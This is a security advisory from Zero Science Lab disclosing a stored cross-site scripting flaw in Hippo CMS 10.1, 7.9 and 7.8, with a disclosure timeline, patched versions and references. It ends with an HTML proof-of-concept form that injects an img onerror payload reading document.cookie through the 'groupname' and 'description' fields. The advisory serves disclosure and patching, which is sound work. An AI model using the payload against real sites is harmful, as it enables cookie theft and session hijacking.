Hippo CMS 10.1 Stored Cross-Site Scripting Vulnerability

2016-01-30T00:00:00
ID ZSL-2016-5300
Type zeroscience
Reporter Gjoko Krstic
Modified 2016-01-30T00:00:00

Description

Title: Hippo CMS 10.1 Stored Cross-Site Scripting Vulnerability
Advisory ID: ZSL-2016-5300
Type: Local/Remote
Impact: Cross-Site Scripting
Risk: (3/5)
Release Date: 30.01.2016

Summary

Hippo CMS is an open source Java CMS. We built it so you can easily integrate it into your existing architecture.

Description

Hippo CMS suffers from a stored XSS vulnerability. Input passed thru the POST parameters 'groupname' and 'description' is not sanitized allowing the attacker to execute HTML code into user's browser session on the affected site.

Vendor

Hippo B.V. - <http://www.onehippo.org>

Affected Version

10.1, 7.9 and 7.8 (Enterprise Edition)

Tested On

Linux 2.6.32-5-xen-amd64
Java/1.8.0_66
Apache-Coyote/1.1

Vendor Status

[04.12.2015] Vulnerability discovered.
[05.12.2015] Contact with the vendor.
[07.12.2015] Vendor responds asking more details.
[07.12.2015] Sent details to the vendor.
[07.12.2015] Vendor acknowledges the vulnerabilities scheduling patch release timeframe.
[18.12.2015] Vendor fixed the vulnerabilities instructing customers to update.
[29.01.2016] Vendor released security notice and version 10.1.2, 7.9.11 and 7.8.12 to address these issues.
[30.01.2016] Coordinated public security advisory released.

PoC

hippocms_xss.html

Credits

Vulnerability discovered by Gjoko Krstic - <gjoko@zeroscience.mk>

References

[1] <http://www.onehippo.org/security-issues-list/security-12.html>
[2] <http://www.onehippo.org/about/release-notes/10/10.1.2-release-notes.html>
[3] <http://www.onehippo.org/about/release-notes/7_9/7.9.11-release-notes.html>
[4] <http://www.onehippo.org/about/release-notes/7_8/7.8.12-release-notes.html>
[5] <https://cxsecurity.com/issue/WLB-2016010226>
[6] <https://packetstormsecurity.com/files/135518>
[7] <https://www.exploit-db.com/exploits/39391/>

Changelog

[30.01.2016] - Initial release
[31.01.2016] - Added reference [5] and [6]
[01.02.2016] - Added reference [7]

Contact

Zero Science Lab

Web: <http://www.zeroscience.mk>
e-mail: lab@zeroscience.mk

                                        
                                            &lt;!--

Hippo CMS 10.1 Stored Cross-Site Scripting Vulnerability


Vendor: Hippo B.V.
Product web page: http://www.onehippo.org
Affected version: 10.1, 7.9 and 7.8 (Enterprise Edition)

Summary: Hippo CMS is an open source Java CMS. We
built it so you can easily integrate it into your
existing architecture.

Desc: Hippo CMS suffers from a stored XSS vulnerability.
Input passed thru the POST parameters 'groupname' and
'description' is not sanitized allowing the attacker to
execute HTML code into user's browser session on the
affected site.


Tested on: Linux 2.6.32-5-xen-amd64
           Java/1.8.0_66
           Apache-Coyote/1.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5300
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5300.php

Vendor: http://www.onehippo.org/security-issues-list/security-12.html
        http://www.onehippo.org/about/release-notes/10/10.1.2-release-notes.html


04.12.2015

--&gt;


&lt;html&gt;
 &lt;body&gt;
  &lt;form action="https://10.0.2.17/?1-1.IBehaviorListener.0-root-tabs-panel~container-cards-6-panel-panel-form-create~button" method="POST"&gt;
   &lt;input type="hidden" name="id26c_hf_0" value="" /&gt;
   &lt;input type="hidden" name="groupname" value="&lt;img src=ko onerror=confirm(document.cookie)&gt;" /&gt;
   &lt;input type="hidden" name="description" value="&lt;img src=ko onerror=confirm(2)&gt;" /&gt;
   &lt;input type="hidden" name="create-button" value="1" /&gt;
   &lt;input type="submit" value="Inject code" /&gt;
  &lt;/form&gt;
 &lt;/body&gt;
&lt;/html&gt;